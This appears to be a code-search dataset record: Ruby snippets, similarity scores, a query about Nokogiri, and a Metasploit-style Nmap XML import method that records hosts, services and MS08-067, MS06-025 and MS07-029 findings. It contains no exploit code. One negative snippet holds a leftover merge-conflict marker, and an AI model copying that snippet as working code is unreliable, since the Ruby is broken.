'Tp. Hồ Chí Minh'\n\t\t\t\t\tend\n\t\t\t\t\tprovince = Province.find_or_create_by name: params[:province]\n\t\t\t\t\tparams[:province_id] = province.id\n\t\t\t\tend\n\t\t\t\tif params[:district].present? && params[:province_id].present?\n\t\t\t\t\tdistrict = District.find_or_create_by name: params[:district], province_id: params[:province_id]\n\t\t\t\t\tparams[:district_id] = district.id\n\t\t\t\tend\n\t\t\t\tif params[:ward].present? && params[:district_id].present?\n\t\t\t\t\tward = Ward.find_or_create_by name: params[:ward], district_id: params[:district_id]\n\t\t\t\t\tparams[:ward_id] = ward.id\n\t\t\t\tend\n\t\t\t\tif params[:street].present? && params[:district_id].present?\n\t\t\t\t\tstreet = Street.find_or_create_by name: params[:street], district_id: params[:district_id]\n\t\t\t\t\tparams[:street_id] = street.id\n\t\t\t\tend\n\n\t\t\t\t# Advantages, disavantage, property utility, region utility\n\t\t\t\tparams[:advantage_ids] = [] unless params.has_key? :advantage_ids\n\t\t\t\tparams[:disadvantage_ids] = [] unless params.has_key? :disadvantage_ids\n\t\t\t\tparams[:property_utility_ids] = [] unless params.has_key? :property_utility_ids\n\t\t\t\tparams[:region_utility_ids] = [] unless params.has_key? :region_utility_ids\n\n\t\t\t\t# Images\n\t\t\t\t_images = []\n\t\t\t\t_has_avatar = false\n\t\t\t\tif params[:images].present?\n\t\t\t\t\tparams[:images].each do |_v|\n\t\t\t\t\t\t_value = JSON.parse _v\n\t\t\t\t\t\t_value['is_avatar'] ||= false\n\n\t\t\t\t\t\tif _value['is_new']\n\t\t\t\t\t\t\tTemporaryFile.get_file(_value['id']) do |_image|\n\t\t\t\t\t\t\t\t_images << RealEstateImage.new(image: _image, is_avatar: _value['is_avatar'], order: _value['order'], description: _value['description'])\n\n\t\t\t\t\t\t\t\t_has_avatar = true if _value['is_avatar']\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_image = RealEstateImage.find _value['id']\n\t\t\t\t\t\t\t_image.description = _value['description']\n\t\t\t\t\t\t\t_image.is_avatar = _value['is_avatar']\n\t\t\t\t\t\t\t_image.order = _value['order'] \n\n\t\t\t\t\t\t\t_has_avatar = true if _value['is_avatar']\n\n\t\t\t\t\t\t\t_images << _image\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif !_has_avatar && _images.length != 0\n\t\t\t\t\t_images[0].assign_attributes is_avatar: true\n\t\t\t\tend\n\t\t\t\tassign_attributes images: _images\n\n\t\t\t\tassign_attributes params.permit [\n\t\t\t\t\t:is_full, :is_draft,\n\t\t\t\t\t:title, :description, :purpose_id, :sell_price, :sell_price_text, :rent_price, :rent_price_text, \n\t\t\t\t\t:currency_id, :sell_unit_id, :rent_unit_id, :is_negotiable, :province_id, :district_id, :ward_id, :street_id, \n\t\t\t\t\t:address_number, :street_type, :is_alley, :real_estate_type_id, :building_name,\n\t\t\t\t\t:legal_record_type_id, :planning_status_type_id, :custom_advantages, :custom_disadvantages,\n\t\t\t\t\t:alley_width, :shape_width, :custom_legal_record_type, :custom_planning_status_type, :is_draft,\n\t\t\t\t\t:lat, :lng, :user_type, :user_id, :appraisal_purpose, :appraisal_type, :campus_area, :using_area, :constructional_area, :garden_area,\n\t\t\t\t\t:shape, :shape_width, :bedroom_number, :build_year, :constructional_level_id, :restroom_number,\n\t\t\t\t\t:width_x, :width_y, :floor_number, :constructional_quality, :direction_id, :block_id,\n\t\t\t\t\tadvantage_ids: [], disadvantage_ids: [], property_utility_ids: [], region_utility_ids: []\n\t\t\t\t]\n\t\t\tend", "def update!(**args)\n @compressed_name = args[:compressed_name] if args.key?(:compressed_name)\n @value = args[:value] if args.key?(:value)\n @value_float = args[:value_float] if args.key?(:value_float)\n @value_int = args[:value_int] if args.key?(:value_int)\n end", "def set_baz83\n @baz83 = Baz83.find(params[:id])\n end", "def init_params(params)\n @client_id = params[:client_id]\n @user_extended_detail_id = params[:user_extended_details_id]\n @reprocess = params[:reprocess].to_i\n end", "def set_baz32\n @baz32 = Baz32.find(params[:id])\n end", "def set_baz39\n @baz39 = Baz39.find(params[:id])\n end", "def bucket_params\n params.require(:bucket).permit(:name, pins_attributes: [:id, :sneaker_id, :price_watch])\n end", "def bin_params\n @params ||= begin\n request_params = params.require(:bin).permit(:title, :abbreviation, :description, :position, :logo, :post_ids => (0..50).to_a.map(&:to_s), :posts => [:title, :link, :duration, :text_content] )\n post_ids = request_params['post_ids'].values\n request_params.delete('post_ids')\n posts = request_params['posts'].values\n request_params.delete('posts')\n\n posts.each_with_index { |post, index| post['id'] = post_ids[index] }\n request_params['posts_attributes'] = posts\n request_params\n end\n end", "def init_params(params)\n @client_id = params[:client_id]\n\n @edit_kyc_id = params[:edit_kyc_id]\n\n @user_extended_detail_id = params[:user_extended_detail_id]\n\n @user_kyc_detail_id = params[:user_kyc_detail_id]\n\n @admin_email = params[:admin_email]\n\n @user_id = params[:user_id]\n\n @client = Client.get_from_memcache(@client_id)\n end", "def set_baz43\n @baz43 = Baz43.find(params[:id])\n end", "def update!(**args)\n @beacon_name = args[:beacon_name] if args.key?(:beacon_name)\n @advertised_id = args[:advertised_id] if args.key?(:advertised_id)\n @status = args[:status] if args.key?(:status)\n @place_id = args[:place_id] if args.key?(:place_id)\n @lat_lng = args[:lat_lng] if args.key?(:lat_lng)\n @indoor_level = args[:indoor_level] if args.key?(:indoor_level)\n @expected_stability = args[:expected_stability] if args.key?(:expected_stability)\n @description = args[:description] if args.key?(:description)\n @properties = args[:properties] if args.key?(:properties)\n @ephemeral_id_registration = args[:ephemeral_id_registration] if args.key?(:ephemeral_id_registration)\n @provisioning_key = args[:provisioning_key] if args.key?(:provisioning_key)\n end", "def set_bill\n if params[:id]\n @bill = Bill.find(params[:id])\n else\n @bill = Bill.find(params[:bill_id])\n end\n \n @order = @bill.order\n @itemized_items = @bill.itemized_items\n @custom_items = @bill.custom_items\n end", "def set_id(erb_id)\n params[:id] = nil\n dyn_params[:id] = erb_id\n end", "def set_bod\n @bod = Bod.find(params[:id])\n end", "def update!(**args)\n @address = args[:address] if args.key?(:address)\n @badge_tier = args[:badge_tier] if args.key?(:badge_tier)\n @company_admin = args[:company_admin] if args.key?(:company_admin)\n @company_id = args[:company_id] if args.key?(:company_id)\n @creation_time = args[:creation_time] if args.key?(:creation_time)\n @internal_company_id = args[:internal_company_id] if args.key?(:internal_company_id)\n @is_pending = args[:is_pending] if args.key?(:is_pending)\n @logo_url = args[:logo_url] if args.key?(:logo_url)\n @manager_account = args[:manager_account] if args.key?(:manager_account)\n @name = args[:name] if args.key?(:name)\n @phone_number = args[:phone_number] if args.key?(:phone_number)\n @primary_address = args[:primary_address] if args.key?(:primary_address)\n @primary_country_code = args[:primary_country_code] if args.key?(:primary_country_code)\n @primary_language_code = args[:primary_language_code] if args.key?(:primary_language_code)\n @resolved_timestamp = args[:resolved_timestamp] if args.key?(:resolved_timestamp)\n @segment = args[:segment] if args.key?(:segment)\n @specialization_status = args[:specialization_status] if args.key?(:specialization_status)\n @state = args[:state] if args.key?(:state)\n @website = args[:website] if args.key?(:website)\n end", "def boolio_params\n params.require(:boolio).permit(:val, :id)\n end", "def set_baz1\n @baz1 = Baz1.find(params[:id])\n end", "def set_order\n cusname = params[:name]\n cusroll = params[:rollno]\n cusmob = params[:mobnum]\n cust =Customer.create({\"name\" => cusname , \"rollNum\" => cusroll ,\"mobileNum\" => cusmob }) .id\n if (params[:myid] != nil)\n var = params[:myid][\"courseCode\"]\n \n end\n getid = Order.create({ \"bookIDs\" => var ,\"customerID\" => cust , \"status\" => \"Pending\",\"quantities\" => params[:quantities],\"dateOrdered\" => Date.today.to_s }).id\n \n @order = Order.find(getid)\n end", "def set(params)\n defaults = { :_p => @id }\n params = defaults.merge(params)\n request('s', params)\n end", "def putBusiness( name, building_number, branch_name, address1, address2, address3, district, town, county, province, postcode, country, latitude, longitude, timezone, telephone_number, additional_telephone_number, email, website, category_id, category_type, do_not_display, referrer_url, referrer_name, destructive, delete_mode, master_entity_id)\n params = Hash.new\n params['name'] = name\n params['building_number'] = building_number\n params['branch_name'] = branch_name\n params['address1'] = address1\n params['address2'] = address2\n params['address3'] = address3\n params['district'] = district\n params['town'] = town\n params['county'] = county\n params['province'] = province\n params['postcode'] = postcode\n params['country'] = country\n params['latitude'] = latitude\n params['longitude'] = longitude\n params['timezone'] = timezone\n params['telephone_number'] = telephone_number\n params['additional_telephone_number'] = additional_telephone_number\n params['email'] = email\n params['website'] = website\n params['category_id'] = category_id\n params['category_type'] = category_type\n params['do_not_display'] = do_not_display\n params['referrer_url'] = referrer_url\n params['referrer_name'] = referrer_name\n params['destructive'] = destructive\n params['delete_mode'] = delete_mode\n params['master_entity_id'] = master_entity_id\n return doCurl(\"put\",\"/business\",params)\n end", "def set_params params\n raise \"No Params\" if params.nil?\n params.each do |key, value|\n raise \"key nil\" if key.nil?\n raise \"value nil\" if value.nil?\n self.preferences[key.to_sym] = value if valid_key?(key)\n end\n raise \"save failed: #{errors}\" unless self.save\n assure_created_zip\n end", "def set_bid\n @bid = Bid.find(params[:id])\n end", "def bid_params\n params.require(:bid).permit(\n :details,\n :price,\n :period,\n :owner_id,\n :owner_type,\n :project_id)\n end", "def update!(**args)\n @encoded_mid = args[:encoded_mid] if args.key?(:encoded_mid)\n @hrid = args[:hrid] if args.key?(:hrid)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def berth_order_params\n params.require(:berth_order).permit(:boat_id, :season_id, :status_id)\n end", "def bom_params\n params.require(:bom).permit(:name, :description, :bom_category_id, :photo, :purchase_order_number)\n end", "def set_bicepstricepshome3\n @bicepstricepshome3 = Bicepstricepshome3.find(params[:id])\n end", "def bbhk_params\n params.require(:bbhk).permit(:hall_size, :bed1_size, :bed2_size, :kitchen_size, :floor, :sold_out, :status)\n end", "def update!(**args)\n @billing_address = args[:billing_address] if args.key?(:billing_address)\n @card_bin = args[:card_bin] if args.key?(:card_bin)\n @card_last_four = args[:card_last_four] if args.key?(:card_last_four)\n @currency_code = args[:currency_code] if args.key?(:currency_code)\n @gateway_info = args[:gateway_info] if args.key?(:gateway_info)\n @items = args[:items] if args.key?(:items)\n @merchants = args[:merchants] if args.key?(:merchants)\n @payment_method = args[:payment_method] if args.key?(:payment_method)\n @shipping_address = args[:shipping_address] if args.key?(:shipping_address)\n @shipping_value = args[:shipping_value] if args.key?(:shipping_value)\n @transaction_id = args[:transaction_id] if args.key?(:transaction_id)\n @user = args[:user] if args.key?(:user)\n @value = args[:value] if args.key?(:value)\n end", "def set_ba\n @ba = Ba.find(params[:id])\n end", "def object_table_params\n #params.fetch(:object_table, {})\n>>>>>>> 8e31398c502b5332a4908c846796eb04e6245ac6\n params.require(:object_table).permit(:guid)\n end", "def set_baz23\n @baz23 = Baz23.find(params[:id])\n end", "def branch_params\r\n\r\n if @current_account.is_admin? or @current_account.is_boss?\r\n params.require(:branch).permit(:name, :is_open, :service_period_start, :service_period_end,\r\n :expiration_time, :notice, :telephone, :address, :zip_code, :latitude, :longitude, :introduction,\r\n :use_min_order_charge, :min_order_charge, :non_service_order_charge, :delivery_radius, :delivery_radius_txt, :image, :rect_image,\r\n :charge_method, :left_order_count, :notify_new_order, :use_sms, :max_sms_count, :use_sms_validation, :sms_to,\r\n :use_scrachpad, :first_prize_possibility, :second_prize_possibility, :third_prize_possibility,:terms, :enabled_verify_service_periods,\r\n :first_prize, :second_prize, :third_prize, :no_prize, :valid_before, :min_charge_for_scratch, :max_scratch_times_in_day,\r\n :min_order_time_gap, :check_stock, :separate_notice_of_praise_and_new_order ,:product_list_style, :brand_chain_id, :branch_type_id,:supported_order_types => [],\r\n :supported_scratchpad_order_types => [], :zone_ids => [], :account_ids =>[], :supported_send_sms_order_types =>[], awards_attributes: [:id, :name, :description, :_destroy],\r\n delivery_zones_attributes: [:id, :zone_name, :charge, :_destroy], service_periods_attributes: [:id, :service_period_start, :service_period_end, :_destroy])\r\n elsif @current_account.is_worker?\r\n params.require(:branch).permit(:name, :is_open, :service_period_start, :service_period_end, :notice, :telephone, :address,\r\n :zip_code, :latitude, :longitude, :introduction, :use_min_order_charge, :min_order_charge,\r\n :non_service_order_charge, :delivery_radius, :delivery_radius_txt, :image, :rect_image, :notify_new_order,:use_sms, :use_sms_validation, :sms_to,\r\n :use_scrachpad, :first_prize_possibility, :second_prize_possibility, :third_prize_possibility,:terms, :enabled_verify_service_periods,\r\n :first_prize, :second_prize, :third_prize, :no_prize, :valid_before, :min_charge_for_scratch, :max_scratch_times_in_day,\r\n :min_order_time_gap, :check_stock,:product_list_style, :branch_type_id, :supported_send_sms_order_types =>[], awards_attributes: [:id, :name, :description, :_destroy], :zone_ids => [],:supported_order_types => [],\r\n :supported_scratchpad_order_types => [], delivery_zones_attributes: [:id, :zone_name, :charge, :_destroy], service_periods_attributes: [:id, :service_period_start, :service_period_end, :_destroy])\r\n end\r\n end", "def shebao_base_params\n params.require(:shebao_base).permit(:base, :year, :user_id)\n end", "def branch_params\n params.fetch(:branch, {}).permit(%i[name city assets])\n end", "def set_fields(fbe_value)\n id.set(fbe_value.id)\n name.set(fbe_value.name)\n state.set(fbe_value.state)\n wallet.set(fbe_value.wallet)\n asset.set(fbe_value.asset)\n orders.set(fbe_value.orders)\n end", "def bay_params\n params.require(:bay).permit(:nomenclatura, :battery_bank_id, :lightning_arrester_id, :reactor_id, :substation_id, :switch_id, :transformer_id, blade_ids: [])\n end", "def set_pars(pars)\n @params.each_index{|id| \n @pars_hash[@params[id].handle] = pars[id] unless @params[id].nil?\n }\n end", "def initialize(params={})\n params[:custom_id] ||= \"#{params[:platform_id]}-#{params[:vcenter_id]}\"\n super\n end", "def set_bnpb\n @bnpb = Bnpb.find(params[:id])\n end", "def create_params\n herbarium_params.merge(\n name: \" Burbank <blah> Herbarium \",\n code: \"BH \",\n place_name: \"Burbank, California, USA\",\n email: \"[email protected]\",\n mailing_address: \"New Herbarium\\n1234 Figueroa\\nBurbank, CA, 91234\\n\\n\\n\",\n description: \"\\nSpecializes in local macrofungi. <http:blah>\\n\"\n )\n end", "def bid_params\n params.require(:bid).permit(:price, :payout, :availability, :notes, :maintenance_request_id, :contractor_id, :approved, :info_requested)\n end", "def abuse_params\n params.require(:abuse).permit(:description, :customer_id)\n end", "def update_address_id\n if params[:order]\n\n # [:order][:ship_address_id] was inserted by the address book\n # it will be blank if no address from the book was selected\n # it will have the id if an address from the book was selected\n \n if params[:order][:ship_address_id]\n ship_address_id = params[:order][:ship_address_id]\n params[:order].delete :ship_address_id\n\n if !ship_address_id.blank?\n address = Address.find_by_id( ship_address_id )\n if address\n @order.ship_address = address\n params[:order].delete :ship_address_attributes\n end\n return true\n end\n end\n if params[:order][:bill_address_id]\n\n bill_address_id = params[:order][:bill_address_id]\n params[:order].delete :bill_address_id\n\n if !bill_address_id.blank?\n bill_address = Address.find_by_id( bill_address_id )\n if bill_address\n @order.bill_address = bill_address\n params[:order].delete :bill_address_attributes\n end\n return true\n end\n end\n true\n end\n end", "def update_params\n raise 'Sovrascrivi in figli'\n end", "def set_baz62\n @baz62 = Baz62.find(params[:id])\n end", "def bucket_params\n params.permit(:user_id, :product_id, :number)\n end", "def branch_params\n params.require(:branch).permit(:name, :city_id, :employee_id, :user_id)\n end", "def set_baz27\n @baz27 = Baz27.find(params[:id])\n end", "def update!(**args)\n @freebase_mid = args[:freebase_mid] if args.key?(:freebase_mid)\n @gplus_id = args[:gplus_id] if args.key?(:gplus_id)\n @maps_cid = args[:maps_cid] if args.key?(:maps_cid)\n @unknown_type_id = args[:unknown_type_id] if args.key?(:unknown_type_id)\n end", "def update!(**args)\n @freebase_mid = args[:freebase_mid] if args.key?(:freebase_mid)\n @gplus_id = args[:gplus_id] if args.key?(:gplus_id)\n @maps_cid = args[:maps_cid] if args.key?(:maps_cid)\n @unknown_type_id = args[:unknown_type_id] if args.key?(:unknown_type_id)\n end", "def orangelight_browsable_params\n params.require(:orangelight_browsable).permit(:model, :id)\n end", "def update!(**args)\n @brand = args[:brand] if args.key?(:brand)\n @certification = args[:certification] if args.key?(:certification)\n @country_code = args[:country_code] if args.key?(:country_code)\n @destination_statuses = args[:destination_statuses] if args.key?(:destination_statuses)\n @issues = args[:issues] if args.key?(:issues)\n @mpn = args[:mpn] if args.key?(:mpn)\n @name = args[:name] if args.key?(:name)\n @product_code = args[:product_code] if args.key?(:product_code)\n @product_type = args[:product_type] if args.key?(:product_type)\n @title = args[:title] if args.key?(:title)\n end", "def prepare_params(version, merchant_id, response_format, _ksalt = '')\n # The KSALT is not used here, however, it is used in the corresponding\n # subclass prepare_params methods.\n params.merge!(VERS: version, MERC: merchant_id, FRMT: response_format)\n end", "def bucket_bloc_params\n params.require(:bucket_bloc).permit(:user_id, :bloc_id, :bloc)\n end", "def set_baz8\n @baz8 = Baz8.find(params[:id])\n end", "def set_bid\n @bid = Bid.find(params[:id])\n end" ]
[ "0.60742545", "0.60742545", "0.5915824", "0.58292955", "0.5812568", "0.5779168", "0.5778948", "0.5775257", "0.5756561", "0.57164174", "0.56975615", "0.5674786", "0.56725997", "0.56711835", "0.5669095", "0.565873", "0.5646786", "0.5637437", "0.5609468", "0.5609102", "0.5602781", "0.5601734", "0.55945575", "0.55921715", "0.5567133", "0.5567133", "0.5556678", "0.5556114", "0.5554545", "0.55417264", "0.55346954", "0.55323684", "0.5531583", "0.55261576", "0.5522917", "0.55227387", "0.55183315", "0.5516351", "0.5511952", "0.5511688", "0.5503708", "0.5501436", "0.549856", "0.54974306", "0.5496521", "0.54946953", "0.54915166", "0.54904646", "0.5487682", "0.5475167", "0.5472082", "0.54648036", "0.54603523", "0.54554796", "0.54528916", "0.54356426", "0.54320794", "0.543152", "0.5427298", "0.54267085", "0.5426442", "0.5421941", "0.5421322", "0.54200643", "0.5418122", "0.5415366", "0.5414524", "0.54089415", "0.5404235", "0.5403722", "0.53965145", "0.5395187", "0.5391576", "0.53897095", "0.5388336", "0.53881556", "0.5385538", "0.5385418", "0.5378661", "0.53781503", "0.5376463", "0.5367621", "0.5360848", "0.5359841", "0.5359286", "0.53585744", "0.5356354", "0.5355811", "0.5355082", "0.5349357", "0.53479385", "0.5345266", "0.53436124", "0.53436124", "0.5343297", "0.5340672", "0.5336954", "0.53358984", "0.53354836", "0.53354436" ]
0.60387063
2
If you have Nokogiri installed, you'll be shunted over to that. Otherwise, you'll hit the old NmapXMLStreamParser.
def import_nmap_xml(args={}, &block) return nil if args[:data].nil? or args[:data].empty? wspace = Msf::Util::DBManager.process_opts_workspace(args, framework) bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] if Rex::Parser.nokogiri_loaded noko_args = args.dup noko_args[:blacklist] = bl noko_args[:workspace] = wspace if block yield(:parser, "Nokogiri v#{::Nokogiri::VERSION}") import_nmap_noko_stream(noko_args) {|type, data| yield type,data } else import_nmap_noko_stream(noko_args) end return true end # XXX: Legacy nmap xml parser starts here. fix_services = args[:fix_services] data = args[:data] # Use a stream parser instead of a tree parser so we can deal with # huge results files without running out of memory. parser = Rex::Parser::NmapXMLStreamParser.new yield(:parser, parser.class.name) if block # Whenever the parser pulls a host out of the nmap results, store # it, along with any associated services, in the database. parser.on_found_host = Proc.new { |h| hobj = nil data = {:workspace => wspace} if (h["addrs"].has_key?("ipv4")) addr = h["addrs"]["ipv4"] elsif (h["addrs"].has_key?("ipv6")) addr = h["addrs"]["ipv6"] else # Can't report it if it doesn't have an IP raise RuntimeError, "At least one IPv4 or IPv6 address is required" end next if bl.include? addr data[:host] = addr if (h["addrs"].has_key?("mac")) data[:mac] = h["addrs"]["mac"] end data[:state] = (h["status"] == "up") ? Msf::HostState::Alive : Msf::HostState::Dead data[:task] = args[:task] if ( h["reverse_dns"] ) data[:name] = h["reverse_dns"] end # Only report alive hosts with ports to speak of. if(data[:state] != Msf::HostState::Dead) if h["ports"].size > 0 if fix_services port_states = h["ports"].map {|p| p["state"]}.reject {|p| p == "filtered"} next if port_states.compact.empty? end yield(:address,data[:host]) if block hobj = report_host(data) report_import_note(wspace,hobj) end end if( h["os_vendor"] ) note = { :workspace => wspace, :host => hobj || addr, :type => 'host.os.nmap_fingerprint', :task => args[:task], :data => { :os_vendor => h["os_vendor"], :os_family => h["os_family"], :os_version => h["os_version"], :os_accuracy => h["os_accuracy"] } } if(h["os_match"]) note[:data][:os_match] = h['os_match'] end report_note(note) end if (h["last_boot"]) report_note( :workspace => wspace, :host => hobj || addr, :type => 'host.last_boot', :task => args[:task], :data => { :time => h["last_boot"] } ) end if (h["trace"]) hops = [] h["trace"]["hops"].each do |hop| hops << { "ttl" => hop["ttl"].to_i, "address" => hop["ipaddr"].to_s, "rtt" => hop["rtt"].to_f, "name" => hop["host"].to_s } end report_note( :workspace => wspace, :host => hobj || addr, :type => 'host.nmap.traceroute', :task => args[:task], :data => { 'port' => h["trace"]["port"].to_i, 'proto' => h["trace"]["proto"].to_s, 'hops' => hops } ) end # Put all the ports, regardless of state, into the db. h["ports"].each { |p| # Localhost port results are pretty unreliable -- if it's # unknown, it's no good (possibly Windows-only) if ( p["state"] == "unknown" && h["status_reason"] == "localhost-response" ) next end extra = "" extra << p["product"] + " " if p["product"] extra << p["version"] + " " if p["version"] extra << p["extrainfo"] + " " if p["extrainfo"] data = {} data[:workspace] = wspace if fix_services data[:proto] = nmap_msf_service_map(p["protocol"]) else data[:proto] = p["protocol"].downcase end data[:port] = p["portid"].to_i data[:state] = p["state"] data[:host] = hobj || addr data[:info] = extra if not extra.empty? data[:task] = args[:task] data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name'] report_service(data) } #Parse the scripts output if h["scripts"] h["scripts"].each do |key,val| if key == "smb-check-vulns" if val =~ /MS08-067: VULNERABLE/ vuln_info = { :workspace => wspace, :task => args[:task], :host => hobj || addr, :port => 445, :proto => 'tcp', :name => 'MS08-067', :info => 'Microsoft Windows Server Service Crafted RPC Request Handling Unspecified Remote Code Execution', :refs =>['CVE-2008-4250', 'BID-31874', 'CWE-94', 'MSFT-MS08-067', 'MSF-Microsoft Server Service Relative Path Stack Corruption', 'NSS-34476'] } report_vuln(vuln_info) end if val =~ /MS06-025: VULNERABLE/ vuln_info = { :workspace => wspace, :task => args[:task], :host => hobj || addr, :port => 445, :proto => 'tcp', :name => 'MS06-025', :info => 'Vulnerability in Routing and Remote Access Could Allow Remote Code Execution', :refs =>['CVE-2006-2370', 'CVE-2006-2371', 'BID-18325', 'BID-18358', 'BID-18424', 'MSFT-MS06-025', 'MSF-Microsoft RRAS Service RASMAN Registry Overflow', 'NSS-21689'] } report_vuln(vuln_info) end # This one has NOT been Tested , remove this comment if confirmed working if val =~ /MS07-029: VULNERABLE/ vuln_info = { :workspace => wspace, :task => args[:task], :host => hobj || addr, :port => 445, :proto => 'tcp', :name => 'MS07-029', :info => 'Vulnerability in Windows DNS RPC Interface Could Allow Remote Code Execution', # Add more refs based on nessus/nexpose .. results :refs =>['CVE-2007-1748', 'MSF-Microsoft DNS RPC Service extractQuotedChar()', 'NSS-25168'] } report_vuln(vuln_info) end end end end } # XXX: Legacy nmap xml parser ends here. REXML::Document.parse_stream(data, parser) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def nokogiri!\n @@parser = USE_NOKOGIRI\n end", "def parse_xml(string) #:doc:\n Nokogiri::XML::Document.parse(string) do |opts|\n opts.options = 0\n opts.noblanks\n end\n end", "def parse_xml(xml)\n Nokogiri::XML(xml, &:noblanks)\n end", "def init\n super\n @parser = Nokogiri::XML::SAX::Parser.new(self)\n end", "def open(arg,force_encoding=nil)\n data=ONIX::Helper.arg_to_data(arg)\n\n xml=nil\n if force_encoding\n xml=Nokogiri::XML.parse(data,nil,force_encoding)\n else\n xml=Nokogiri::XML.parse(data)\n end\n\n xml.remove_namespaces!\n xml\n end", "def parse(io)\n self.doc = Nokogiri::XML(io)\n end", "def xml_doc\n @xml_doc ||= unless @xml.blank?\n Nokogiri.parse(@xml)\n else\n Nokogiri::XML::Document.new\n end\n rescue\n raise RuntimeError, 'expected document to parse'\n end", "def parse_stream()\r\n #puts \"parse_stream\"\r\n REXML::Document.parse_stream(@pipe, self)\r\n end", "def nokogiri\n Nokogiri::HTML(html)\n end", "def create_sax_document\n sax_document = SaxDocumentExamineMets.new\n Nokogiri::XML::SAX::Parser.new(sax_document).parse(@text)\n\n # sax parser errors may not be fatal, so store them to warnings.\n\n if sax_document.warnings? or sax_document.errors?\n warning \"SAX parser warnings for '#{short_filename}':\"\n warning sax_document.warnings\n end\n\n # SAX errors just treated as warnings (for now).\n\n if sax_document.errors?\n warning \"SAX parser errors for '#{short_filename}':\"\n warning sax_document.errors\n end\n\n return sax_document\n end", "def parsed_document\n @parsed_document ||= Nokogiri::HTML(document)\n rescue Exception => e\n add_fatal_error \"Parsing exception: #{e.message}\"\n end", "def initialize\n require 'open-uri'\n optional_gem 'nokogiri'\n end", "def parse_xml(pdoc, data)\n # TODO: DTD, etc\n src = ::Nokogiri::XML(data)\n extract_plaintext(src.root, pdoc)\n pdoc.content_type=\"application/xml; charset=#{src.encoding}\"\n end", "def create_sax_document\n sax_document = SaxDocumentExamineMets.new\n Nokogiri::XML::SAX::Parser.new(sax_document).parse(@text)\n\n # sax parser errors may not be fatal, so store them to warnings.\n\n if sax_document.warnings?\n warning \"The SAX parser produced the following warnings for '#{short_filename}':\"\n warning sax_document.warnings\n end\n\n # SAX errors just treated as warnings (for now).\n\n if sax_document.errors?\n warning \"The SAX parser produced the following errors for '#{short_filename}':\"\n warning sax_document.errors\n end\n\n return sax_document\n end", "def parse_xml\n \n if @noko and @noko.content\n \n self.location = @noko.content.to_s.strip || nil\n self.height = @noko['height'] ? @noko['height'].to_i : 0 \n self.width = @noko['width'] ? @noko['width'].to_i : 0\n lang = @noko['xml:lang'] || :en\n \n @metadata_pixels = height * width\n \n log.debug \" Derived logo #{url} from XML\"\n \n end\n end", "def parse\n #return a cached version if it exists\n return @nexml if @nexml\n\n #start at the root element\n skip_leader\n\n #start with a new Nexml object\n version = attribute( 'version' )\n generator = attribute( 'generator' )\n @nexml = NeXML::Nexml.new( version, generator )\n\n #perhaps a namespace api as well\n \n #start parsing other elements\n while next_node\n case local_name\n when \"otus\"\n @nexml.add_otus( parse_otus )\n when \"trees\"\n @nexml.add_trees( parse_trees )\n when \"characters\"\n @nexml.add_characters( parse_characters )\n end\n end\n\n #close the libxml parser object\n #close\n\n #return the Nexml object\n @nexml\n end", "def start\n REXML::Document.parse_stream(@source, self)\n end", "def initialize(xml)\n @source = isxml?(xml) ? xml : File.read(xml)\n @doc_stream = AltoDocStream.new\n parser = Nokogiri::XML::SAX::Parser.new(doc_stream)\n parser.parse(@source)\n end", "def require_engine\n return if defined? ::Nokogiri\n require_library 'nokogiri'\n\n ::Nokogiri::XML::Builder.class_eval do\n undef_method :p\n end\n end", "def parse_xml\n\n raise \"parse_xml method has not been implemented in this class\"\n \n end", "def parsed\n @parsed ||= Nokogiri::HTML(@document.to_s)\n rescue Exception => e\n @exception_log << e\n end", "def parse thing, url = nil, encoding = nil, options = ParseOptions::DEFAULT_XML, &block\n Document.parse(thing, url, encoding, options, &block)\n end", "def initialize(sopm_file)\n\n @sopm_file = sopm_file\n\n sopm_read_handle = File.open(@sopm_file)\n @sopm = Nokogiri::XML(sopm_read_handle)\n sopm_read_handle.close\n\n parse\n end", "def parse\n @started = false\n\n parser = XMLParser.new(\"UTF-8\")\n def parser.unknownEncoding(e)\n raise \"Unknown encoding #{e.to_s}\"\n end\n def parser.default\n end\n\n begin\n parser.parse(@stream) do |type, name, data|\n begin\n case type\n when XMLParser::START_ELEM\n case name\n when \"stream:stream\"\n openstream = ParsedXMLElement.new(name)\n data.each {|key, value| openstream.add_attribute(key, value)}\n @listener.receive(openstream)\n @started = true\n else\n if @current.nil?\n @current = ParsedXMLElement.new(name.clone)\n else\n @current = @current.add_child(name.clone)\n end\n data.each {|key, value| @current.add_attribute(key.clone, value.clone)}\n end\n when XMLParser::CDATA\n @current.append_data(data.clone) if @current\n when XMLParser::END_ELEM\n case name\n when \"stream:stream\"\n @started = false\n else\n @listener.receive(@current) unless @current.element_parent\n @current = @current.element_parent\n end\n end\n rescue\n puts \"Error #{$!}\"\n end\n end\n rescue XMLParserError\n line = parser.line\n print \"XML Parsing error(#{line}): #{$!}\\n\"\n end\n end", "def cast_with_nokogiri(object, type)\n cast = cast_without_nokogiri(object, type)\n if (defined?(::Nokogiri::XML::Node) && object.is_a?(::Nokogiri::XML::Node)) ||\n (defined?(::Nokogiri::XML::NodeSet) && object.is_a?(::Nokogiri::XML::NodeSet))\n cast = :nokogiri_xml_node\n end\n cast\n end", "def parse\n @started = false\n begin\n parser = REXML::Parsers::SAX2Parser.new @stream \n parser.listen( :start_element ) do |uri, localname, qname, attributes|\n if @current.nil?\n @current = REXML::Element::new(qname)\n else\n e = REXML::Element::new(qname)\n @current = @current.add_element(e)\n end\n @current.add_attributes attributes\n if @current.name == 'stream'\n @listener.receive(@current)\n @started = true\n end\n end\n parser.listen( :end_element ) do |uri, localname, qname|\n case qname\n when \"stream:stream\"\n @started = false\n else\n @listener.receive(@current) if @current.parent.name == 'stream'\n @current = @current.parent\n end\n end\n parser.listen( :characters ) do | text |\n @current.text = (@current.text.nil? ? '' : @current.text) + text\n end\n parser.listen( :cdata ) do | text |\n raise \"Not implemented !\"\n end\n parser.parse\n rescue REXML::ParseException\n @listener.parse_failure\n end\n end", "def reset\n @parser = Nokogiri::XML::SAX::PushParser.new(self)\n end", "def force_parse; end", "def parse\n #puts \"PARSE\"\n @started = false\n begin\n parser = 